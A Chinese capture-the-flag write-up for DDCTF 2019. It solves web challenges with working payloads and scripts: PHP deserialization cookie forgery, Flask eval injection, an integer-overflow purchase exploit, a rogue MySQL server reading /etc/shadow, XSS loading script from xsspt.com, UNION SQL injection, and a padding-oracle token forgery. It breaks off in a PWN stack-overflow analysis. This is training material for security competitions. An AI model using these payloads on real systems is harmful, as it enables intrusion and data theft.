$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
* Can you find the flag file?
*
*/
?>
代码除了文件包含外，并没有什么漏洞，源码上博客内容是关于shell下echo的一些特殊用法，对于php中的echo并不适用。作者另外一篇博客 [vim
异常退出 swp文件提示](https://blog.csdn.net/fengbanliuyun/article/details/80913909)
提到了`.practice.txt.swp`
访问 `http://117.51.150.246/practice.txt.swp` 得到新的提示`f1ag!ddctf.php`。
文件包含`f1ag!ddctf.php`，根据`index.php`的源代码，我们需要用`config`替换`!`
<http://117.51.150.246/index.php?jpg=TmpZek1UWXhOamMyTXpabU5tVTJOalk1TmpjMk5EWTBOak0zTkRZMk1tVTNNRFk0TnpBPQ==>
<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
$content=trim(file_get_contents($k));
if($uid==$content)
{
echo $flag;
}
else
{
echo'hello';
}
}
?>
存在一个明显的变量覆盖漏洞，覆盖`$k`为空，同时将`$uid`也置为空即可。
### Web签到题
打开 <http://117.51.158.44/index.php>
后，提示`抱歉，您没有登陆权限，请获取权限后访问-----`，查看一下源代码，发现有`auth()`
<script type="text/javascript" src="js/jquery.min.js"></script>
<script type="text/javascript" src="js/index.js"></script>
<script>hljs.initHighlightingOnLoad();</script>
<body onload="auth()">
<div class='center' id="auth">
</div>
</body>
此函数在`http://117.51.158.44/js/index.js`中
function auth() {
$.ajax({
type: "post",
url:"http://117.51.158.44/app/Auth.php",
contentType: "application/json;charset=utf-8",
dataType: "json",
beforeSend: function (XMLHttpRequest) {
XMLHttpRequest.setRequestHeader("didictf_username", "");
},
success: function (getdata) {
console.log(getdata);
if(getdata.data !== '') {
document.getElementById('auth').innerHTML = getdata.data;
}
},error:function(error){
console.log(error);
}
});
}
burp抓包发现http包请求确实有个`didictf_username`字段，修改为`didictf_username:
admin`后成功验证，提示访问`app/fL2XID2i0Cdh.php`
<http://117.51.158.44/app/fL2XID2i0Cdh.php> 中内容如下：
url:app/Application.php
Class Application {
var $path = '';
public function response($data, $errMsg = 'success') {
$ret = ['errMsg' => $errMsg,
'data' => $data];
$ret = json_encode($ret);
header('Content-type: application/json');
echo $ret;
}
public function auth() {
$DIDICTF_ADMIN = 'admin';
if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
$this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
return TRUE;
}else{
$this->response('抱歉，您没有登陆权限，请获取权限后访问-----','error');
exit();
}
}
private function sanitizepath($path) {
$path = trim($path);
$path=str_replace('../','',$path);
$path=str_replace('..\\','',$path);
return $path;
}
public function __destruct() {
if(empty($this->path)) {
exit();
}else{
$path = $this->sanitizepath($this->path);
if(strlen($path) !== 18) {
exit();
}
$this->response($data=file_get_contents($path),'Congratulations');
}
exit();
}
}
url:app/Session.php
include 'Application.php';
class Session extends Application {
//key建议为8位字符串
var $eancrykey = '';
var $cookie_expiration = 7200;
var $cookie_name = 'ddctf_id';
var $cookie_path = '';
var $cookie_domain = '';
var $cookie_secure = FALSE;
var $activity = "DiDiCTF";
public function index()
{
if(parent::auth()) {
$this->get_key();
if($this->session_read()) {
$data = 'DiDI Welcome you %s';
$data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
parent::response($data,'sucess');
}else{
$this->session_create();
$data = 'DiDI Welcome you';
parent::response($data,'sucess');
}
}
}
private function get_key() {
//eancrykey and flag under the folder
$this->eancrykey = file_get_contents('../config/key.txt');
}
public function session_read() {
if(empty($_COOKIE)) {
return FALSE;
}
$session = $_COOKIE[$this->cookie_name];
if(!isset($session)) {
parent::response("session not found",'error');
return FALSE;
}
$hash = substr($session,strlen($session)-32);
$session = substr($session,0,strlen($session)-32);
if($hash !== md5($this->eancrykey.$session)) {
parent::response("the cookie data not match",'error');
return FALSE;
}
$session = unserialize($session);
if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
return FALSE;
}
if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}
if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
parent::response('the ip addree not match'.'error');
return FALSE;
}
if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
parent::response('the user agent not match','error');
return FALSE;
}
return TRUE;
}
private function session_create() {
$sessionid = '';
while(strlen($sessionid) < 32) {
$sessionid .= mt_rand(0,mt_getrandmax());
}
$userdata = array(
'session_id' => md5(uniqid($sessionid,TRUE)),
'ip_address' => $_SERVER['REMOTE_ADDR'],
'user_agent' => $_SERVER['HTTP_USER_AGENT'],
'user_data' => '',
);
$cookiedata = serialize($userdata);
$cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
$expire = $this->cookie_expiration + time();
setcookie(
$this->cookie_name,
$cookiedata,
$expire,
$this->cookie_path,
$this->cookie_domain,
$this->cookie_secure
);
}
}
$ddctf = new Session();
$ddctf->index();
首先留意到`class Application`中有一个读取文件的地方
public function __destruct() {
if(empty($this->path)) {
exit();
}else{
$path = $this->sanitizepath($this->path);
if(strlen($path) !== 18) {
exit();
}
$this->response($data=file_get_contents($path),'Congratulations');
}
exit();
}
路径要求18位，而`../config/flag.txt`刚好18位满足要求，基本可以确定flag的位置，`sanitizepath`会将`../`替换为空，可直接双写绕过过滤`....//config/flag.txt`。
然后在`class Session`中`session_read()`有反序列化的代码，只要触发反序列化就能到读取文件的地方
$session = $_COOKIE[$this->cookie_name];
if(!isset($session)) {
parent::response("session not found",'error');
return FALSE;
}
$hash = substr($session,strlen($session)-32);
$session = substr($session,0,strlen($session)-32);
if($hash !== md5($this->eancrykey.$session)) {
parent::response("the cookie data not match",'error');
return FALSE;
}
$session = unserialize($session);
其中`cookie_name`为`ddctf_id`，代码会对session内容进行校验，校验方法为最后32位的hash值，要等于`md5($this->eancrykey.$session)`，绕过验证需要泄露`$this->eancrykey`的值
留意到`session_read()`中有一段格式化字符的代码
if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}
这里for循环会对`$data`进行两次格式化字符串操作，其中`nickname`我们可控，若`nickname=%s`，第二次格式化字符串就能把`$this->eancrykey`泄露出来。
至此，伪造session的信息收集完毕，可以伪造session进行文件读取，代码如下。
<?php
Class Application {
var $path = '....//config/flag.txt';
}
$a = new Application();
$key = 'EzblrbNS';
$cookie_name = 'ddctf_id';
$hash = md5($key.serialize($a));
echo serialize($a).$hash;
?>
将代码生成的payload URL编码后发送
POST /app/Session.php HTTP/1.1
didictf_username: admin
cookie: ddctf_id=O%3A11%3A%22Application%22%3A1%3A%7Bs%3A4%3A%22path%22%3Bs%3A21%3A%22....%2F%2Fconfig%2Fflag.txt%22%3B%7D77cd55a8d29df4f005f85e536d876525
发送后得到：
`{"errMsg":"Congratulations","data":"DDCTF{ddctf2019_G4uqwj6E_pHVlHIDDGdV8qA2j}"}`
### Upload-IMG
http://117.51.148.166/upload.php
user：dd@ctf
pass：DD@ctf#000
登录后直接上传一张图片，提示未包含`phpinfo()`
将图片下载下来，winhex打开看了一下，发现文件头有`gd-jpeg`
搜索一下发现GD库图片渲染存在漏洞，<https://wiki.ioin.in/soft/detail/1q>
`jpg_name.jpg`是待GD处理的图片
php jpg_payload.php <jpg_name.jpg>
如提示缺少gd库，可用`apt install php-gd`安装
网上不少文章提到不一定每张图片都可以成功写入，需要多试几张，而我脸比较黑，试了十多张无果。
绝望之际，拿了群里大佬发的一个表情包，终于成功了，泪目。。。
### homebrew event loop
<http://116.85.48.107:5002/d5afe1f66147e857/>
题目是一个flask站，并且提供了源码
from flask import Flask, session, request, Response
import urllib
app = Flask(__name__)
app.secret_key = '*********************' # censored
url_prefix = '/d5afe1f66147e857'
def FLAG():
return 'FLAG_is_here_but_i_wont_show_you' # censored
def trigger_event(event):
session['log'].append(event)
if len(session['log']) > 5: session['log'] = session['log'][-5:]
if type(event) == type([]):
request.event_queue += event
else:
request.event_queue.append(event)
def get_mid_str(haystack, prefix, postfix=None):
haystack = haystack[haystack.find(prefix)+len(prefix):]
if postfix is not None:
haystack = haystack[:haystack.find(postfix)]
return haystack
class RollBackException: pass
def execute_event_loop():
valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
resp = None
while len(request.event_queue) > 0:
event = request.event_queue[0] # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
request.event_queue = request.event_queue[1:]
if not event.startswith(('action:', 'func:')): continue
for c in event:
if c not in valid_event_chars: break
else:
is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';')
args = get_mid_str(event, action+';').split('#')
try:
event_handler = eval(action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)
except RollBackException:
if resp is None: resp = ''
resp += 'ERROR! All transactions have been cancelled. <br />'
resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
session['num_items'] = request.prev_session['num_items']
session['points'] = request.prev_session['points']
break
except Exception, e:
if resp is None: resp = ''
#resp += str(e) # only for debugging
continue
if ret_val is not None:
if resp is None: resp = ret_val
else: resp += ret_val
if resp is None or resp == '': resp = ('404 NOT FOUND', 404)
session.modified = True
return resp
@app.route(url_prefix+'/')
def entry_point():
querystring = urllib.unquote(request.query_string)
request.event_queue = []
if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
querystring = 'action:index;False#False'
if 'num_items' not in session:
session['num_items'] = 0
session['points'] = 3
session['log'] = []
request.prev_session = dict(session)
trigger_event(querystring)
return execute_event_loop()
# handlers/functions below --------------------------------------
def view_handler(args):
page = args[0]
html = ''
html += '[INFO] you have {} diamonds, {} points now.<br />'.format(session['num_items'], session['points'])
if page == 'index':
html += '<a href="./?action:index;True%23False">View source code</a><br />'
html += '<a href="./?action:view;shop">Go to e-shop</a><br />'
html += '<a href="./?action:view;reset">Reset</a><br />'
elif page == 'shop':
html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'
elif page == 'reset':
del session['num_items']
html += 'Session reset.<br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'
return html
def index_handler(args):
bool_show_source = str(args[0])
bool_download_source = str(args[1])
if bool_show_source == 'True':
source = open('eventLoop.py', 'r')
html = ''
if bool_download_source != 'True':
html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'
for line in source:
if bool_download_source != 'True':
html += line.replace('&','&').replace('\t', ' '*4).replace(' ',' ').replace('<', '<').replace('>','>').replace('\n', '<br />')
else:
html += line
source.close()
if bool_download_source == 'True':
headers = {}
headers['Content-Type'] = 'text/plain'
headers['Content-Disposition'] = 'attachment; filename=serve.py'
return Response(html, headers=headers)
else:
return html
else:
trigger_event('action:view;index')
def buy_handler(args):
num_items = int(args[0])
if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
session['num_items'] += num_items
trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index'])
def consume_point_function(args):
point_to_consume = int(args[0])
if session['points'] < point_to_consume: raise RollBackException()
session['points'] -= point_to_consume
def show_flag_function(args):
flag = args[0]
#return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
return 'You naughty boy! ;) <br />'
def get_flag_handler(args):
if session['num_items'] >= 5:
trigger_event('func:show_flag;' + FLAG()) # show_flag_function has been disabled, no worries
trigger_event('action:view;index')
if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0')
网址实现各种功能，是通过解析`query_string`进行跳转的，具体可以查看`execute_event_loop`函数代码。`query_string`示例如下：
http://116.85.48.107:5002/d5afe1f66147e857/?action:buy;1
http://116.85.48.107:5002/d5afe1f66147e857/?action:view;shop
提取关键代码测试，可以看到更加直观，代码如下：
def get_mid_str(haystack, prefix, postfix=None):
haystack = haystack[haystack.find(prefix)+len(prefix):]
if postfix is not None:
haystack = haystack[:haystack.find(postfix)]
return haystack
def ACTION_handler():pass
event = 'action:ACTION;ARGS0#ARGS1#ARGS2'
is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';')
print '[!] action:',action
args = get_mid_str(event, action+';').split('#')
print '[!] args:',args
event_handler = eval(action + ('_handler' if is_action else '_function'))
print '[!] event_handler:',event_handler
运行结果：
[!] action: ACTION
[!] args: ['ARGS0', 'ARGS1', 'ARGS2']
[!] event_handler: <function ACTION_handler at 0x00000000035A4B38>
`event_handler`是用`eval`进行拼接，从而得到对应的处理函数，`eval`函数本质是将字符串str当成有效的表达式来求值并返回计算结果，程序过滤了大部分的特殊符号，导致我们不能随意进行代码注入，不过由于`ARGS`是使用`#`进行分隔，而`#`在python代码中是注释符，在`action`中加入`#`，可以把后面`_handler`注释掉。上面的代码用`event
= 'action:str#;ARGS0#ARGS1#ARGS2'`进行测试一下：
[!] action: str#
[!] args: ['ARGS0', 'ARGS1', 'ARGS2']
[!] event_handler: <type 'str'>
现在，我们可以控制`event_handler`运行指定的函数，不过还有一个问题是`FLAG()`函数是不带参数的，而`args`为`list`，直接传入`action:FLAG;`将产生报错。
TypeError: FLAG() takes no arguments (1 given)
直接调用`FLAG()`函数的方法走不通了，由于传入参数必须是`list`类型，python自带的全局函数也没有可以用（如果有求告知~），那么只能考虑自带函数。自带的函数不多，不难找到`trigger_event`。
def trigger_event(event):
session['log'].append(event)
if len(session['log']) > 5: session['log'] = session['log'][-5:]
if type(event) == type([]):
request.event_queue += event
else:
request.event_queue.append(event)
def execute_event_loop():
valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
resp = None
while len(request.event_queue) > 0:
event = request.event_queue[0] # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
request.event_queue = request.event_queue[1:]
...
参数`event`为`list`类型，`execute_event_loop`按顺序处理`request.event_queue`所有`event`，我们可以考虑构造一套组合拳来获取flag。具体构造思路如下：
1. 程序调用`FLAG()`的地方只有一个，就是`get_flag_handler()`，对应的`event1=action:get_flag;`；
2. `get_flag_handler()`会判断`session['num_items']>=5`，因此需要购买5个以上的钻石，对应的`event2=action:buy;5`；
3. 传入`query_string=action:trigger_event#;{event1}#{event2}`，利用`#`截断，运行`trigger_event([event1,event2])`
此外，还有两个问题需要解决一下
1. `show_flag_function()`把返回的FLAG注释掉了，FLAG只会加入到`show_flag_function()`参数中。
2. `buy_handler()`后会调用`consume_point_function()`检查`point`是否足够，不然就会回滚。
`trigger_event`有一句代码`session['log'].append(event)`，会把记录各种函数的调用，那么自然会把`trigger_event('func:show_flag;'+FLAG())`存在放在`session['log']`中。留意到`execute_event_loop`是按先后顺序进行函数调用，因此`buy_handler()`后并不会马上执行`consume_point_function()`，如果后面紧跟是`show_flag_function()`，并不会受回滚影响。由于flag存放在session中，需要解密一下cookie，flask的session问题具体可以看看p神博客，[客户端
session 导致的安全问题](https://www.leavesongs.com/PENETRATION/client-session-security.html)
最终payload：
http://116.85.48.107:5002/d5afe1f66147e857/?action:trigger_event%23;action:buy;7%23action:get_flag;
ERROR! All transactions have been cancelled.
Go back to index.html
获取到的cookie
Set-Cookie: session=.eJyNjlFLwzAAhP-K5HkPbersUujLcCkM2uCsTRoRaZo5m6VZsOvmMvrfVwQFmQ--Hdzdd3cGercB0fMZ3AgQgZJmXkVRT8zqVFFpOFu-cca1MA-KQKxkog9C2UaybZidsvcyWFkBb-84LDwGeVfSOgTD5ArXLv113gWjdeVILTFqRYINOcYxGF5-2twUfemsEnDqJPU1C-aHik494ur4D5LhlrM6HBNbzjZfpN8gVyUo-H6ZBqWXFjMnVdZLPPtM7-dHBjHh45l8gfNHH6l0gT5S-vTPMWD69rXZr9sORP4E2F1j9qOEwwXM_XDJ.D5b-8w.YcblUXhGWeGzHVT6qLNwR2zCOV4; HttpOnly; Path=/
#!/usr/bin/env python3
import sys
import zlib
from hashlib import *
from base64 import b64decode
from flask.sessions import URLSafeTimedSerializer,session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')
return session_json_serializer.loads(payload)
sessions = '.eJyNjlFLwzAAhP-K5HkPbersUujLcCkM2uCsTRoRaZo5m6VZsOvmMvrfVwQFmQ--Hdzdd3cGercB0fMZ3AgQgZJmXkVRT8zqVFFpOFu-cca1MA-KQKxkog9C2UaybZidsvcyWFkBb-84LDwGeVfSOgTD5ArXLv113gWjdeVILTFqRYINOcYxGF5-2twUfemsEnDqJPU1C-aHik494ur4D5LhlrM6HBNbzjZfpN8gVyUo-H6ZBqWXFjMnVdZLPPtM7-dHBjHh45l8gfNHH6l0gT5S-vTPMWD69rXZr9sORP4E2F1j9qOEwwXM_XDJ.D5b-8w.YcblUXhGWeGzHVT6qLNwR2zCOV4'
PAYLOAD = decryption(sessions.encode())
print PAYLOAD
查看session的解析结果，函数的调用过程更加一目了然了。
{u'points': 2, u'num_items': 1, u'log': ['action:trigger_event#;action:buy;7#action:get_flag;', ['action:buy;7', 'action:get_flag;'], ['func:consume_point;7', 'action:view;index'], 'func:show_flag;3v41_3v3nt_100p_aNd_fLASK_c0Ok1e', 'action:view;index']}
### 大吉大利，今晚吃鸡
<http://117.51.147.155:5050/index.html>
正常情况下，新注册用户余额只有100，门票需要2000，是不够钱买门票，不过可以利用整数溢出
32位系统`unsigned
int`范围为`0～4294967295`，最大数`+1`后会回绕变成`0`，修改订单`ticket_price=4294967296`
GET /ctf/api/buy_ticket?ticket_price=4294967296
后面拿到源码证实了猜想，对于大于32位的数字，程序进行了截断，导致了整数溢出。
def num64_to_32(num):
str_num = bin(num)
if len(str_num) > 66:
return False
if 34 < len(str_num) < 66:
str_64 = str_num[-32:]
result = int(str_64, 2)
return result
if len(str_num) < 34:
result = int(str_num, 2)
return result
这时去点支付，可以0元购买入场券。进入`http://117.51.147.155:5050/index.html#/main/result`后，可以输入ID和ticket移除对手。
思路是不停注册一堆新用户，拿到ticket，加入游戏，然后让玩家移除机器人，当移除id不重复的100个时，拿到flag。
import requests
import uuid
import time
import json
data = []
while True:
try:
session = requests.session()
name = str(uuid.uuid4())[:10].replace('-', '')
url = base_url + "/ctf/api/register?name=%s&password=12345678" % (name)
r = session.get(url)
if r.json()['code'] != 200:
continue
print(r.json())
time.sleep(1) # 如果不sleep一下，后面可能会无法买ticket
url = base_url + '/ctf/api/buy_ticket?ticket_price=4294967296'
r = session.get(url)
bill_id = r.json()['data'][0]['bill_id']
url = base_url + '/ctf/api/pay_ticket?bill_id=%s' % bill_id
r = session.get(url)
your_id = r.json()['data'][0]['your_id']
your_ticket = r.json()['data'][0]['your_ticket']
data.append(
{
'id': your_id,
'ticket': your_ticket,
'session': session
}
)
print('%s, %s, %s' % (len(data), your_id, your_ticket))
if len(data) > 1:
url = base_url + '/ctf/api/remove_robot?id=%s&ticket=%s' % (your_id, your_ticket)
r = data[0]['session'].get(url)
print(r.json())
time.sleep(1)
url = base_url + '/ctf/api/get_flag'
r = data[0]['session'].get(url)
print(r.json())
if '大吉大利，今晚吃鸡' in r.json()['msg']:
print(r.json()['data'][0])
break
except Exception as e:
print(e)
pass
得到flag，另外本题有非预期解，详见下一题。
{'code': 200, 'data': ['DDCTF{chiken_dinner_hyMCX[n47Fx)}'], 'msg': '大吉大利，今晚吃鸡'}
### mysql弱口令
<http://117.51.147.155:5000/index.html#/scan>
部署[agent.py](http://38.106.21.229:5100/agent.py)再进行扫描哦~
题目是一个mysql弱口令扫描器，输入主机IP及mysql端口可以进行扫描，扫描器会先连接`agent.py`起的端口`8123`，并且通过命令`netstat
-ntlp`检查主机端口开放情况，会检查是否存在`mysqld`进程。以前遇到的sql题目，一般我们作为客户端，对服务端进行注入等恶意攻击，这题刚好相反，题目是一个扫描器（客户端），而我们提供一个服务端。
1. 用`mysql 读取 客户端 数据`作为关键字搜索，可以找到不少文章
[MySQL LOAD DATA 读取客户端任意文件](https://www.smi1e.top/mysql-load-data-%E8%AF%BB%E5%8F%96%E5%AE%A2%E6%88%B7%E7%AB%AF%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6/)
原理是在mysql客户端连接到服务端的时候可以请求客户端的本地文件，可以通过伪造 `file-transfer`
请求实现任意文件读取，使用文章里面提到的工具：
<https://github.com/allyshka/Rogue-MySql-Server>
可以修改端口，以及修改filelist为我们想读取的文件
filelist = (
'/etc/shadow',
)
1. 下载并启动`agent.py`，由于扫描器会检查是否有mysqld进程，可以将`python`软链接成`mysqld`再启动`rogue_mysql_server.py`。
ln -s /usr/bin/python mysqld
mysqld rogue_mysql_server.py
1. 在扫描器中输入伪造MySQL服务的IP和端口，注意脚本都要用root权限运行，不然会出错。首先测试了一下读取`/etc/passwd`
1. 开始各种读文件的找FLAG之旅
读取`/proc/self/cmdline` 可以看到启动命令
/home/dc2-user/ctf_web_2/ctf_web_2/bin/python2 /home/dc2-user/ctf_web_2/ctf_web_2/bin/gunicorn didi_ctf_web2:app -b 127.0.0.1:15000 --access-logfile /home/dc2-user/ctf_web_2/2_access.log
是flask起的web，读取`/home/dc2-user/ctf_web_2/app/main/views.py`，里面有提示flag在security数据库的flag表里面：
# flag in mysql curl@localhost database:security table:flag
读取mysql的数据库文件`/var/lib/mysql/security/flag.ibd`，flag明文存放在数据库中
# kira @ k1r4 in ~/web/ddctf [21:09:55]
$ strings flag.ibd
z[jx
infimum
supremum
DDCTF{0b5d05d80cceb4b85c8243c00b62a7cd}
番外篇：读取一下`/home/dc2-user/.bash_history`，发现了有趣的东西，这个服务器还有`ctf_web_1`
mv ctf.zip /home/dc2-user/ctf_web_1/web_1
猜测存在文件`/home/dc2-user/ctf_web_1/web_1/main/views.py`，直接拿到了吃鸡那题的flag，这就是上面提到的非预期解。
from flask import jsonify, request,redirect
from app import mongodb
from app.unitis.tools import get_md5, num64_to_32
from app.main.db_tools import get_balance, creat_env_db, search_bill, secrity_key, get_bill_id
import uuid
from urllib import unquote
mydb = mongodb.db
flag = '''DDCTF{chiken_dinner_hyMCX[n47Fx)}'''
### 欢迎报名DDCTF
<http://117.51.147.2/Ze02pQYLf5gGNyMn/>
提示xss，尝试把html源码x回来，payload：`<script
src=//xsspt.com/NyU2Mx></script>`，获取到`admin.php`的html源码
<html lang="en"><head>
<meta charset="UTF-8">
<!--每隔30秒自动刷新-->
<meta http-equiv="refresh" content="30">
<title>DDCTF报名列表</title>
<script type="text/javascript" src="https://xsspt.com/js/html2canvas.js"></script></head>
<body>
<table align="center">
<thead>
<tr>
<th>姓名</th>
<th>昵称</th>
<th>备注</th>
<th>时间</th>
</tr>
</thead>
<tbody>
<!-- 列表循环展示 -->
<tr>
<td> 321 </td>
<td> 3333 </td>
<td> <script src="//xsspt.com/NyU2Mx"></script> </td>
<td> 2019-04-17 02:02:46 </td>
</tr>
<tr>
<td>
<a target="_blank" href="index.php">报名</a>
</td>
</tr>
<!-- <a target="_blank" href="query_aIeMu0FUoVrW0NWPHbN6z4xh.php"> 接口 </a>-->
</tbody>
</table>
</body></html>
访问`http://117.51.147.2/Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php`提示需要参数`id`，添加参数后没有回显。
下午各种测试无回显，晚上进行测试发现是，简单测试一下
然后开始手工注入
id=-1%bf%27+union+select+1,2,3,4,group_concat(schema_name)+from+information_schema.schemata%23
information_schema,ctfdb,say
###########################
id=-1%bf%27+union+select+1,2,3,4,group_concat(table_name)+from+information_schema.tables+where+table_schema=concat(char(99),char(116),char(102),char(100),char(98))%23
ctf_fhmHRPL5
###########################
id=-1%bf%27+union+select+1,2,3,4,group_concat(column_name)+from+information_schema.columns+where+table_name=concat(char(99),char(116),char(102),char(95),char(102),char(104),char(109),char(72),char(82),char(80),char(76),char(53))%23
ctf_value
##########################
id=-1%bf%27+union+select+1,2,3,4,ctf_value+from+ctfdb.ctf_fhmHRPL5%23
DDCTF{GqFzOt8PcoksRg66fEe4xVBQZwp3jWJS}
当然用sqlmap也是可以的，命令如下：
python sqlmap.py -u "http://117.51.147.2/Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id=1" --tamper unmagicquotes --dbms Mysql --dbs --hex
### 再来1杯Java
绑定Host访问：
116.85.48.104 c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com
提示1：JRMP
<http://c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023/>
进入网站提示：`Try to become an administrator.`，留意到cookie中有token字段，在
<http://c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023/api/account_info>
中可以查询到解密结果为`{"id":100,"roleAdmin":false}`，那么思路就是CBC字节反转，伪造token为`{"id":100,"roleAdmin":true}`，脚本如下：
import requests
def sxor(a,b):
return ''.join([chr(ord(x)^ord(y)) for x,y in zip(a,b)])
def pad(string,N):
l=len(string)
if l!=N:
return string+chr(N-l)*(N-l)
def get_api(ciphertext):
req_header={'X-Forwarded-For': '113.71.226.6',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 Edge/15.15063',
'Host':'c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023',
'Referer':'http://c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023/home',
'Cookie':'token={}'.format(ciphertext.encode('base64')[:-1]),
}
s = requests.session()
rsp=s.get('http://c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023/api/gen_token', headers=req_header,timeout=2,verify=False,stream=True,allow_redirects=False)
return(rsp.content)
def padding_oracle(cipher, N):
get = ""
for i in xrange(1, N + 1):
for j in xrange(0, 256):
padding = sxor(get, chr(i) * (i - 1))
c = chr(0) * (N - i) + chr(j) + padding + cipher
payload='PadOracle:iv/cbc' + c
get_api_return=get_api(payload)
if "decrypt err~" not in get_api_return:
get = chr(j ^ i) + get
# print(get.encode('hex'))
break
return get
token = 'UGFkT3JhY2xlOml2L2NiY8O+7uQmXKFqNVUuI9c7VBe42FqRvernmQhsxyPnvxaF'.decode('base64')
ciphertxt = token[16:]
iv = token[:16] # PadOracle:iv/cbc
org_plaintxt = '{"id":100,"roleAdmin":false}\x04\x04\x04\x04'
evil_plaintxt = '{"id":100,"roleAdmin":true}\x05\x05\x05\x05\x05'
ciphertxt2 = ciphertxt[16:]
imtermediary2 = sxor(org_plaintxt[16:],ciphertxt[:16])
# print imtermediary2.encode('hex')
ciphertxt1 = sxor(evil_plaintxt[16:],imtermediary2)
# print sxor(imtermediary2,evil_plaintxt[16:]).encode('hex'),evil_plaintxt[16:]
imtermediary1 = padding_oracle(ciphertxt1, 16)
# print imtermediary1.encode('hex')
iv_fixed = sxor(imtermediary1,org_plaintxt[:16])
#
print (iv_fixed+ciphertxt1+ciphertxt2).encode('base64')
修改token为`e/0YtlMi8D4jOD4Uk+gE2sO+7uQmXLN5LEM2W9Y6VRa42FqRvernmQhsxyPnvxaF`
得到了一个1.txt
Try to hack~
Hint:
1. Env: Springboot + JDK8(openjdk version "1.8.0_181") + Docker~
2. You can not exec commands~
发现可以任意文件读取
<http://c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023/api/fileDownload?fileName=/etc/passwd>
`/proc/self/fd/xxx` 可以查看该进程打开的文件，经测试访问
`/api/fileDownload?fileName=/proc/self/fd/15` 拿到网站源码
反编译class文件后拿到java源码，有一个DeserializeDemoController比较可疑
fastjson 版本是 1.2.51 好像没有漏洞，而且用了SerialKiller。1.txt 提示无法执行命令。
【未完待续】
## MISC
### [PWN] strike
[*] '/home/kira/pwn/ddctf/xpwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
漏洞一：无初始化内存，导致内存泄露
int __cdecl sub_80485DB(FILE *stream, FILE *a2)
{
int v2; // eax
char buf; // [esp+0h] [ebp-48h]
printf("Enter username: ");
v2 = fileno(stream);
read(v2, &buf, 0x40u);
return fprintf(a2, "Hello %s", &buf);
}
动态调试，可以发现内存里面有栈地址，以及libc地址，填充0x28位字符，即可泄露
漏洞二：输入长度为有符号数，长度判断没有判断是否为负数，导致栈溢出
int __cdecl main(int a1)
{
int v1; // eax
char buf; // [esp+0h] [ebp-4Ch]
size_t nbytes; // [esp+40h] [ebp-Ch]
int *v5; // [esp+44h] [ebp-8h]
v5 = &a1;
setbuf(stdout, 0);
input_name(stdin, stdout);
sleep(1u);
printf("Please set the length of password: ");
nbytes = get_int();
if ( (signed int)nbytes > 63 ) // 负数绕过
{
puts("Too long!");
exit(1);
}
printf("Enter password(lenth %u): ", nbytes);
v1 = fileno(stdin);
read(v1, &buf, nbytes);
puts("All done, bye!");
return 0;
}
长度那里输入`-1`，即可获得`4294967295`长度的输入，不过这里不是一般的栈溢出，具体需要分析汇编代码
.text:08048732 add esp, 10h
.text:08048735 mov eax, 0
.text:0804873A lea esp, [ebp-8]
